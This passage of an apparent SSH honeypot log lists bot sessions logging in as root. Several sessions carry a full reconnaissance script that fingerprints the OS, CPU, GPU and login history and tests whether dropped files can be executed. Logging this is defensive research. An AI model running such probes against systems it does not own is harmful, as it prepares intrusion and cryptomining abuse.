out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T02:13:47.761612+00:00",
  "ended_at": "2026-08-26T02:13:48.140909+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ab05c225-3da9-421e-8a47-bb09081dff20",
  "name": "shifting-vaulted-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 44862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T02:12:26.830621+00:00",
  "ended_at": "2026-08-26T02:12:26.965939+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0e6fed00-b7cd-44c2-9f73-dd049ad1b891",
  "name": "early-bashful-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 43162,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T02:11:09.579049+00:00",
  "ended_at": "2026-08-26T02:11:09.889769+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "3ac2f1d1-ca0b-4973-8a18-3babda928bae",
  "name": "sunlit-downy-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 41454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T02:09:52.688277+00:00",
  "ended_at": "2026-08-26T02:09:52.818372+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "305afeaf-d890-4dbb-a5bb-594b00eb2c31",
  "name": "subtle-wandering-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.27",
  "src_port": 19418,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T01:41:06.785208+00:00",
  "ended_at": "2026-08-26T01:41:07.129238+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f954f7d5-366f-4986-a1f3-aa390b44fed2",
  "name": "peaty-verdant-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.42.72",
  "src_port": 13152,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T01:28:18.750516+00:00",
  "ended_at": "2026-08-26T01:28:19.077383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "719821b5-8224-446a-b918-23130fe7b7ea",
  "name": "quaint-scarlet-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.28",
  "src_port": 22000,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T01:24:43.974483+00:00",
  "ended_at": "2026-08-26T01:24:44.401005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8010536b-ec5a-4cce-b904-22f4c303f1a2",
  "name": "vernal-calm-kea",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 46000,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T00:56:02.865336+00:00",
  "ended_at": "2026-08-26T00:56:03.268408+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e126b4fe-f5cd-4ede-82a6-73f5a3a319c2",
  "name": "brave-bold-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 37858,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:40:02.287124+00:00",
  "ended_at": "2026-08-25T23:40:03.755392+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "bca090cf-b18c-4a76-8f96-1f5e768532da",
  "name": "genial-steady-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 53414,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:39:38.098050+00:00",
  "ended_at": "2026-08-25T23:39:39.352084+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "91929bb2-02b5-443d-bc6f-7cf1c45f4495",
  "name": "tidal-shifting-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 51066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:38:01.938454+00:00",
  "ended_at": "2026-08-25T23:38:03.174863+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "e07ec24a-5dba-4755-9553-4a99af21f1ee",
  "name": "buoyant-flinty-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 43310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:35:20.410221+00:00",
  "ended_at": "2026-08-25T23:35:22.356091+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "0d8c4104-b325-4c73-b3d6-9b86696da4c3",
  "name": "deft-jagged-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 33382,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:32:58.643437+00:00",
  "ended_at": "2026-08-25T23:33:00.484658+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "b1058540-7f77-4df5-8c56-24dd79b5b619",
  "name": "humble-sooty-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 44218,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:31:47.164014+00:00",
  "ended_at": "2026-08-25T23:31:48.739430+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "f6e4a9eb-2c29-4582-9e68-027bdcd99917",
  "name": "autumn-curious-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 36136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 452,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:31:25.572135+00:00",
  "ended_at": "2026-08-25T23:31:27.355846+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "9aff9bc9-bfe6-4199-849d-bc9d35288304",
  "name": "pewter-nimble-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 46898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:31:00.395067+00:00",
  "ended_at": "2026-08-25T23:31:02.678617+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "b40fb284-329c-48fa-b6dd-d48fc09e3161",
  "name": "cobalt-golden-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 34844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:30:38.790313+00:00",
  "ended_at": "2026-08-25T23:30:41.014329+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "6f121324-7329-4516-86ba-d41991b0b195",
  "name": "ancient-weathered-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 58466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:29:28.425703+00:00",
  "ended_at": "2026-08-25T23:29:30.511673+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "a9f8d7a1-9ab3-4273-84b9-6a35bfb41aed",
  "name": "early-dusky-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 47570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:29:04.595096+00:00",
  "ended_at": "2026-08-25T23:29:06.342817+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "4b325213-5fa0-4e20-a760-50faafc89428",
  "name": "sooty-gentle-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 36200,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:27:53.962773+00:00",
  "ended_at": "2026-08-25T23:27:56.163661+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "8640333f-129f-4dad-8ec7-df7542b96070",
  "name": "bashful-mindful-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 46426,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:27:06.559150+00:00",
  "ended_at": "2026-08-25T23:27:08.743227+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "23bd8197-63fc-4562-9273-6b8eb9e1ea54",
  "name": "gallant-indigo-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.227",
  "src_port": 45248,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:26:32.461148+00:00",
  "ended_at": "2026-08-25T23:26:32.792641+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ecce8467-130d-4a39-a923-b31c8f0b7e26",
  "name": "russet-hushed-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 33370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:25:31.816023+00:00",
  "ended_at": "2026-08-25T23:25:34.104861+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "ddee176d-2aef-4008-8e8a-1691adc37684",
  "name": "smooth-placid-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 45896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 452,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:24:44.407457+00:00",
  "ended_at": "2026-08-25T23:24:46.548675+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "24ef35dd-c694-4269-82ee-c28c7f91a0df",
  "name": "vivid-honest-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 48826,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 445,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:24:17.294240+00:00",
  "ended_at": "2026-08-25T23:24:19.651686+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "fc4f9cfd-1d93-481a-bf0a-82854a2804bf",
  "name": "noble-feral-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 43206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:23:55.064744+00:00",
  "ended_at": "2026-08-25T23:23:56.673712+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "8ec1c16b-c93a-4a2b-97e2-e80a16ef1241",
  "name": "bashful-nimble-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 38462,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:23:32.885365+00:00",
  "ended_at": "2026-08-25T23:23:34.877457+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "c9d5bd06-b08a-41f7-ba81-b46b09ef0050",
  "name": "quiet-honest-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 47450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:19:12.204670+00:00",
  "ended_at": "2026-08-25T23:19:13.293563+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "116eb925-99a4-4036-8397-2f140a038aed",
  "name": "rugged-windswept-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 55896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 453,
  "probe_flagged": 0,
